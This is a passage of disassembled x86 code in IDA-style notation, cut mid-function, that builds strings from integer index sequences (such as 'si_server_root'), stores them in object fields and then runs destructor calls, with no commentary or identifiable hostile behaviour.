		call	sub_13AB626
		push	0
		push	4Dh
		push	4Dh
		push	4Dh
		lea	eax, [esp+3C0h+var_39C]
		push	4Dh
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+3B4h+var_138]
		mov	[esp+3B4h+var_58], 22h
		call	sub_13AC40E
		lea	ecx, [esp+3B4h+var_3A0]
		mov	[esp+3B4h+var_5C], bl
		call	sub_13AB626
		push	0
		push	4Dh
		push	4Dh
		push	4Dh
		lea	ecx, [esp+3C4h+var_3A0]
		push	4Dh
		push	ecx
		call	sub_13ABDB5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+3B8h+var_2A4]
		mov	[esp+3B8h+var_5C], 23h
		call	sub_13AC40E
		lea	ecx, [esp+3B8h+var_3A4]
		mov	[esp+3B8h+var_60], bl
		call	sub_13AB626
		push	0
		push	4Dh
		push	4Dh
		push	4Dh
		lea	edx, [esp+3C8h+var_3A4]
		push	4Dh
		push	edx
		call	sub_13ABDB5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+3BCh+var_F8]
		mov	[esp+3BCh+var_60], 24h
		call	sub_13AC40E
		lea	ecx, [esp+3BCh+var_3A8]
		mov	[esp+3BCh+var_64], bl
		call	sub_13AB626
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+3CCh+var_3A8]
		push	14h
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+3C0h+var_390]
		mov	[esp+3C0h+var_64], 25h
		call	sub_13AC40E
		lea	ecx, [esp+3C0h+var_3AC]
		mov	[esp+3C0h+var_68], bl
		call	sub_13AB626
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+3D4h+var_3AC]
		push	6
		push	ecx
		call	sub_13ABDB5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+3C4h+var_37C]
		mov	[esp+3C4h+var_68], 26h
		call	sub_13AC40E
		lea	ecx, [esp+3C4h+var_3B0]
		mov	[esp+3C4h+var_6C], bl
		call	sub_13AB626
		lea	ecx, [esp+3C4h+var_32C]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+3DCh+var_3B4], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+43Ch+var_3B4]
		push	13h
		push	edx
		mov	[esp+444h+var_70], 27h
		call	sub_13ABDB5
		add	esp, 64h
		mov	ecx, eax
		mov	[esp+3E0h+var_70], 28h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+3F8h+var_3BC], esp
		push	eax
		call	sub_13ABC61
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	[esp+400h+var_74], 29h
		call	sub_13AC0C1
		lea	ecx, [esp+400h+var_3EC]
		mov	[esp+400h+var_A8], bl
		call	sub_13AB626
		lea	ecx, [esp+400h+var_380]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+418h+var_3F4], esp
		push	eax
		call	sub_13ABC61
		mov	[esp+41Ch+var_AC], 2Ah
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+478h+var_3F0]
		push	13h
		push	ecx
		call	sub_13ABDB5
		add	esp, 64h
		mov	ecx, eax
		mov	[esp+41Ch+var_AC], 2Bh
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+434h+var_3F4], esp
		push	eax
		call	sub_13ABC61
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	[esp+43Ch+var_B0], 2Ch
		call	sub_13AC0C1
		lea	ecx, [esp+43Ch+var_428]
		mov	[esp+43Ch+var_E4], bl
		call	sub_13AB626
		lea	ecx, [esp+43Ch+var_284]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+454h+var_430], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+4A4h+var_42C]
		push	13h
		push	eax
		mov	[esp+4ACh+var_E8], 2Dh
		call	sub_13ABDB5
		add	esp, 54h
		mov	[esp+458h+var_E8], 2Eh
		mov	ecx, eax
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+470h+var_430], esp
		push	eax
		call	sub_13ABC61
		lea	ecx, [esi+0FA3h]
		mov	[esp+474h+var_EC], 2Fh
		push	ecx
		mov	ecx, esi
		call	sub_13AC0C1
		lea	ecx, [esp+478h+var_464]
		mov	[esp+478h+var_120], bl
		call	sub_13AB626
		lea	ecx, [esp+478h+var_290]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+490h+var_46C], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+4E8h+var_468]
		push	13h
		push	edx
		mov	[esp+4F0h+var_124], 30h
		call	sub_13ABDB5
		add	esp, 5Ch
		mov	ecx, eax
		mov	[esp+494h+var_124], 31h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4ACh+var_46C], esp
		push	eax
		call	sub_13ABC61
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	[esp+4B4h+var_128], 32h
		call	sub_13AC0C1
		lea	ecx, [esp+4B4h+var_4A0]
		mov	[esp+4B4h+var_15C], bl
		call	sub_13AB626
		lea	ecx, [esp+4B4h+var_44C]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4CCh+var_4A8], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	18h
		push	9
		mov	[esp+4DCh+var_160], 33h
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+534h+var_4A4]
		push	13h
		push	ecx
		call	sub_13ABDB5
		add	esp, 6Ch
		mov	ecx, eax
		mov	[esp+4D0h+var_160], 34h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4E8h+var_4A8], esp
		push	eax
		call	sub_13ABC61
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	[esp+4F0h+var_164], 35h
		call	sub_13AC0C1
		lea	ecx, [esp+4F0h+var_4DC]
		mov	[esp+4F0h+var_198], bl
		call	sub_13AB626
		lea	ecx, [esp+4F0h+var_440]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+508h+var_4E4], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+568h+var_4E0]
		push	13h
		push	edx
		mov	[esp+570h+var_19C], 36h
		call	sub_13ABDB5
		add	esp, 64h
		mov	ecx, eax
		mov	[esp+50Ch+var_19C], 37h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+524h+var_4E4], esp
		push	eax
		call	sub_13ABC61
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	[esp+52Ch+var_1A0], 38h
		call	sub_13AC0C1
		lea	ecx, [esp+52Ch+var_518]
		mov	[esp+52Ch+var_1D4], bl
		call	sub_13AB626
		lea	ecx, [esp+52Ch+var_4E8]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+544h+var_520], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+5A0h+var_51C]
		push	13h
		push	ecx
		mov	[esp+5A8h+var_1D8], 39h
		call	sub_13ABDB5
		add	esp, 60h
		mov	ecx, eax
		mov	[esp+548h+var_1D8], 3Ah
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+560h+var_520], esp
		push	eax
		call	sub_13ABC61
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	[esp+568h+var_1DC], 3Bh
		call	sub_13AC0C1
		lea	ecx, [esp+568h+var_554]
		mov	[esp+568h+var_210], bl
		call	sub_13AB626
		lea	eax, [esp+568h+var_558]
		mov	ecx, offset byte_E19F9F
		push	eax
		mov	[esp+56Ch+var_558], edi
		call	sub_13ABE5F
		lea	ecx, [esp+56Ch+var_4D4]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+584h+var_560], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+5E4h+var_55C]
		push	13h
		push	ecx
		mov	[esp+5ECh+var_218], 3Ch
		call	sub_13ABDB5
		add	esp, 64h
		mov	ecx, eax
		mov	[esp+588h+var_218], 3Dh
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+5A0h+var_560], esp
		push	eax
		call	sub_13ABC61
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	[esp+5A8h+var_21C], 3Eh
		call	sub_13AC0C1
		lea	ecx, [esp+5A8h+var_594]
		mov	[esp+5A8h+var_250], bl
		call	sub_13AB626
		lea	ecx, [esp+5A8h+var_528]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+5C0h+var_59C], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		mov	[esp+614h+var_254], 3Fh
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+620h+var_598]
		push	13h
		push	eax
		call	sub_13ABDB5
		add	esp, 64h
		mov	ecx, eax
		mov	[esp+5C4h+var_254], 40h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+5DCh+var_59C], esp
		push	eax
		call	sub_13ABC61
		lea	ecx, [esi+127Dh]
		mov	[esp+5E0h+var_258], 41h
		push	ecx
		mov	ecx, esi
		call	sub_13AC0C1
		lea	ecx, [esp+5E4h+var_5D0]
		mov	[esp+5E4h+var_28C], bl
		call	sub_13AB626
		lea	ecx, [esp+5E4h+var_48C]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+5FCh+var_5D8], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+64Ch+var_5D4]
		push	13h
		push	edx
		mov	[esp+654h+var_290], 42h
		call	sub_13ABDB5
		add	esp, 54h
		mov	ecx, eax
		mov	[esp+600h+var_290], 43h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+618h+var_5D8], esp
		push	eax
		call	sub_13ABC61
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	[esp+620h+var_294], 44h
		call	sub_13AC0C1
		lea	ecx, [esp+620h+var_60C]
		mov	[esp+620h+var_2C8], bl
		call	sub_13AB626
		lea	ecx, [esp+620h+var_498]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+638h+var_614], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+690h+var_610]
		push	13h
		push	ecx
		mov	[esp+698h+var_2CC], 45h
		call	sub_13ABDB5
		add	esp, 5Ch
		mov	ecx, eax
		mov	[esp+63Ch+var_2CC], 46h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+654h+var_614], esp
		push	eax
		call	sub_13ABC61
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	[esp+65Ch+var_2D0], 47h
		call	sub_13AC0C1
		lea	ecx, [esp+65Ch+var_648]
		mov	[esp+65Ch+var_304], bl
		call	sub_13AB626
		lea	ecx, [esp+65Ch+var_5F4]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+674h+var_650], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		mov	[esp+6D4h+var_308], 48h
		push	3Fh
		push	9
		lea	eax, [esp+6DCh+var_64C]
		push	13h
		push	eax
		call	sub_13ABDB5
		add	esp, 6Ch
		mov	ecx, eax
		mov	[esp+678h+var_308], 49h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+690h+var_650], esp
		push	eax
		call	sub_13ABC61
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	[esp+698h+var_30C], 4Ah
		call	sub_13AC0C1
		lea	ecx, [esp+698h+var_684]
		mov	[esp+698h+var_340], bl
		call	sub_13AB626
		lea	ecx, [esp+698h+var_528]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6B0h+var_68C], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+710h+var_688]
		push	13h
		push	ecx
		mov	[esp+718h+var_344], 4Bh
		call	sub_13ABDB5
		add	esp, 64h
		mov	ecx, eax
		mov	[esp+6B4h+var_344], 4Ch
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6CCh+var_68C], esp
		push	eax
		call	sub_13ABC61
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	[esp+6D4h+var_348], 4Dh
		call	sub_13AC0C1
		lea	ecx, [esp+6D4h+var_6C0]
		mov	[esp+6D4h+var_37C], bl
		call	sub_13AB626
		lea	ecx, [esp+6D4h+var_690]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6ECh+var_6C8], esp
		push	eax
		call	sub_13ABC61
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+748h+var_6C4]
		push	13h
		push	eax
		mov	[esp+750h+var_380], 4Eh
		call	sub_13ABDB5
		add	esp, 60h
		mov	ecx, eax
		mov	[esp+6F0h+var_380], 4Fh
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+708h+var_6C8], esp
		push	eax
		call	sub_13ABC61
		lea	ecx, [esi+12C6h]
		mov	[esp+70Ch+var_384], 50h
		push	ecx
		mov	ecx, esi
		call	sub_13AC0C1
		lea	ecx, [esp+710h+var_6FC]
		mov	[esp+710h+var_3B8], bl
		call	sub_13AB626
		lea	edx, [esp+710h+var_700]
		mov	ecx, offset byte_E19F9F
		push	edx
		mov	[esp+714h+var_700], edi
		call	sub_13ABE5F
		push	offset byte_446F80
		push	offset word_E2AAAA
		call	sub_13AB42D
		add	esp, 8
		lea	ecx, [esp+714h+var_4E4]
		call	sub_13AB824
		lea	ecx, [esp+714h+var_4B4]
		mov	byte ptr [esp+714h+var_3BC], 51h
		call	sub_13AB824
		push	56D2h
		push	539h
		mov	byte ptr [esp+71Ch+var_3BC], 52h
		call	sub_13AC5A3
		add	esp, 8
		push	eax
		lea	eax, [esp+718h+var_4E4]
		push	offset dword_4437F4
		push	eax
		call	sub_13AB42D
		push	56D2h
		push	539h
		call	sub_13AC5A3
		add	esp, 14h
		lea	ecx, [esp+714h+var_4B4]
		push	eax
		push	offset dword_4437F4
		push	ecx
		call	sub_13AB42D
		sub	esp, 0Ch
		lea	edx, [esp+72Ch+var_6E8]
		mov	ecx, esp
		mov	[esp+72Ch+var_708], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+74Ch+var_708]
		mov	ecx, esp
		mov	[esp+74Ch+var_728], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+76Ch+var_728]
		mov	ecx, esp
		mov	[esp+76Ch+var_748], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+78Ch+var_748]
		mov	ecx, esp
		mov	[esp+78Ch+var_768], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+7ACh+var_768]
		mov	ecx, esp
		mov	[esp+7ACh+var_788], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+7CCh+var_788]
		mov	ecx, esp
		mov	[esp+7CCh+var_7A8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+7ECh+var_790]
		mov	ecx, esp
		mov	[esp+7ECh+var_7C8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+80Ch+var_7C8]
		mov	ecx, esp
		mov	[esp+80Ch+var_7E8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+82Ch+var_7E8]
		mov	ecx, esp
		mov	[esp+82Ch+var_808], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+84Ch+var_808]
		mov	ecx, esp
		mov	[esp+84Ch+var_828], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+86Ch+var_810]
		mov	ecx, esp
		mov	[esp+86Ch+var_848], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+88Ch+var_614]
		mov	ecx, esp
		mov	[esp+88Ch+var_868], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+8ACh+var_6F4]
		mov	ecx, esp
		mov	[esp+8ACh+var_888], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+8CCh+var_69C]
		mov	ecx, esp
		mov	[esp+8CCh+var_8A8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+8ECh+var_794]
		mov	ecx, esp
		mov	[esp+8ECh+var_8C8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+90Ch+var_7E4]
		mov	ecx, esp
		mov	[esp+90Ch+var_8E8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+92Ch+var_834]
		mov	ecx, esp
		mov	[esp+92Ch+var_908], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+94Ch+var_6BC]
		mov	ecx, esp
		mov	[esp+94Ch+var_928], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+96Ch+var_6AC]
		mov	ecx, esp
		mov	[esp+96Ch+var_948], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+98Ch+var_968], esp
		push	offset word_E2AAAA
		call	sub_13AB8C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+9ACh+var_86C]
		mov	ecx, esp
		mov	[esp+9ACh+var_988], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+9CCh+var_8BC]
		mov	ecx, esp
		mov	[esp+9CCh+var_9A8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+9ECh+var_744]
		mov	ecx, esp
		mov	[esp+9ECh+var_9C8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_13ABF2C
		sub	esp, 18h
		lea	edx, [esp+0A0Ch+var_7C4]
		mov	ecx, esp
		mov	[esp+0A0Ch+var_9E8], esp
		push	edx
		call	sub_13AB8C9
		lea	eax, [esi+375h]
		push	eax
		mov	ecx, esi
		call	sub_13ABF2C
		push	0
		mov	ecx, offset byte_E19F9F
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_13ABBE4
		push	eax
		push	offset byte_44743D
		mov	ecx, offset word_448D26
		call	sub_13AB996
		push	0
		mov	ecx, offset byte_E19F9F
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_13ABBE4
		push	eax
		push	offset dword_4473F4
		mov	ecx, offset word_448D26
		call	sub_13AB996
		push	0
		mov	ecx, offset byte_E19F9F
		call	sub_13AB86A
		mov	ecx, [eax]
		call	sub_13ABBE4
		push	eax
		push	offset dword_4472D0
		mov	ecx, offset word_448D26
		call	sub_13AB996
		push	0
		mov	ecx, offset byte_E19F9F
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_13ABBE4
		push	eax
		push	offset word_447362
		mov	ecx, offset word_448D26
		call	sub_13AB996
		push	0
		mov	ecx, offset byte_E19F9F
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_13ABBE4
		push	eax
		push	offset byte_447319
		mov	ecx, offset word_448D26
		call	sub_13AB996
		push	0
		mov	ecx, offset byte_E19F9F
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_13ABBE4
		push	eax
		push	offset byte_4473AB
		mov	ecx, offset word_448D26
		call	sub_13AB996
		push	0
		mov	ecx, offset byte_E19F9F
		call	sub_13AB86A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_13ABBE4
		push	eax
		push	offset byte_4474CF
		mov	ecx, offset word_448D26
		call	sub_13AB996
		lea	ecx, [esp+0A68h+var_898]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A80h+var_A5C], esp
		push	eax
		call	sub_13ABC61
		mov	[esp+0A84h+var_714], 53h
		lea	ecx, [esp+0A84h+var_824]
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A9Ch+var_A10], esp
		push	eax
		call	sub_13ABC61
		lea	ecx, [esp+0AA0h+var_870]
		mov	[esp+0AA0h+var_718], 54h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0AB8h+var_A10], esp
		push	eax
		call	sub_13ABC61
		lea	ecx, [esp+0ABCh+var_9AC]
		mov	[esp+0ABCh+var_71C], 55h
		call	sub_13ABBE4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0AD4h+var_A10], esp
		push	eax
		call	sub_13ABC61
		mov	ecx, offset word_448CAE
		mov	[esp+0AD8h+var_720], 52h
		call	sub_13AB77F
		lea	ecx, [esp+0AD8h+var_878]
		mov	byte ptr [esp+0AD8h+var_780], 51h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_8A8]
		mov	byte ptr [esp+0AD8h+var_780], bl
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_A94]
		mov	byte ptr [esp+0AD8h+var_780], 1Dh
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_AAC]
		mov	byte ptr [esp+0AD8h+var_780], 1Ch
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_9F8]
		mov	byte ptr [esp+0AD8h+var_780], 1Bh
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_818]
		mov	byte ptr [esp+0AD8h+var_780], 1Ah
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_860]
		mov	byte ptr [esp+0AD8h+var_780], 19h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_9C8]
		mov	byte ptr [esp+0AD8h+var_780], 18h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_830]
		mov	byte ptr [esp+0AD8h+var_780], 17h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_998]
		mov	byte ptr [esp+0AD8h+var_780], 16h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_848]
		mov	byte ptr [esp+0AD8h+var_780], 15h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_968]
		mov	byte ptr [esp+0AD8h+var_780], 14h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_A28]
		mov	byte ptr [esp+0AD8h+var_780], 13h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_938]
		mov	byte ptr [esp+0AD8h+var_780], 12h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_8C0]
		mov	byte ptr [esp+0AD8h+var_780], 11h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_908]
		mov	byte ptr [esp+0AD8h+var_780], 10h
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_890]
		mov	byte ptr [esp+0AD8h+var_780], 0Fh
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_8D8]
		mov	byte ptr [esp+0AD8h+var_780], 0Eh
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_A10]
		mov	byte ptr [esp+0AD8h+var_780], 0Dh
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_7E8]
		mov	byte ptr [esp+0AD8h+var_780], 0Ch
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_7B8]
		mov	byte ptr [esp+0AD8h+var_780], 0Bh
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_800]
		mov	byte ptr [esp+0AD8h+var_780], 0Ah
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_7D0]
		mov	byte ptr [esp+0AD8h+var_780], 9
